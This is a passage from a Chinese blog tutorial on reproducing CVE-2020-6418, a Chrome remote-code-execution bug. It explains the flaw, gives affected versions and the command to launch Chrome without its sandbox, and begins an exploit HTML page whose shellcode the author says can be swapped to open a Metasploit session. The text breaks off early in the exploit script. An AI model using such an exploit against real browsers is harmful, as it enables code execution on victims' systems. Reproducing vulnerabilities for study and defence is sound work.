CVE-2020-6418漏洞复现：Chrome无沙箱RCE的详细步骤

Rosen404

已于 2024-12-19 10:05:36 修改

阅读量599

点赞数 4

分类专栏：漏洞复现文章标签： chrome 前端

于 2024-12-18 23:01:00 首次发布

本文链接：https://blog.csdn.net/qq_56171392/article/details/144571267

版权

引言

CVE-2020-6418是一个影响Google Chrome浏览器的高危漏洞，允许攻击者在无沙箱环境下执行任意代码（RCE）。这一漏洞的存在使得攻击者能够绕过Chrome的安全机制，从而对受害者的系统造成严重威胁。本文将详细介绍CVE-2020-6418的漏洞原理，复现过程以及防御措施。

漏洞原理

CVE-2020-6418是一个内存损坏漏洞，影响了Chrome的某些版本。攻击者可以通过特制的网页触发此漏洞，导致浏览器崩溃或执行恶意代码。Chrome的沙箱机制通常可以有效隔离网页内容与系统资源，但在此漏洞的影响下，攻击者能够绕过这一保护。该漏洞的根本原因在于Chrome内存管理中的缺陷。当特定条件满足时，攻击者可以利用内存错误来执行恶意代码。具体来说，攻击者可以构造一个恶意的JavaScript负载，使得Chrome在处理过程中出现内存损坏，进而导致任意代码的执行

复现环境准备

操作系统：Windows
Chrome版本：Google Chrome < 80.0.3987.122

实际测试中90版本也受影响（我这里测试的是88.0.4324.146这个版本）

Chrome浏览器下载：【免费】google-chrome-8804324146-64bit资源-CSDN文库

漏洞复现步骤

以下是复现CVE-2020-6418的详细步骤：

设置调试环境

chrome开启--no-sandbox，即以无沙盒模式启动

"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox

构造恶意负载

创建一个HTML文件，包含特制的JavaScript代码，以触发内存损坏。这里的shellcode可以弹记事本。如果要上线msf可以更改shellcode。

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>test</title>
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    le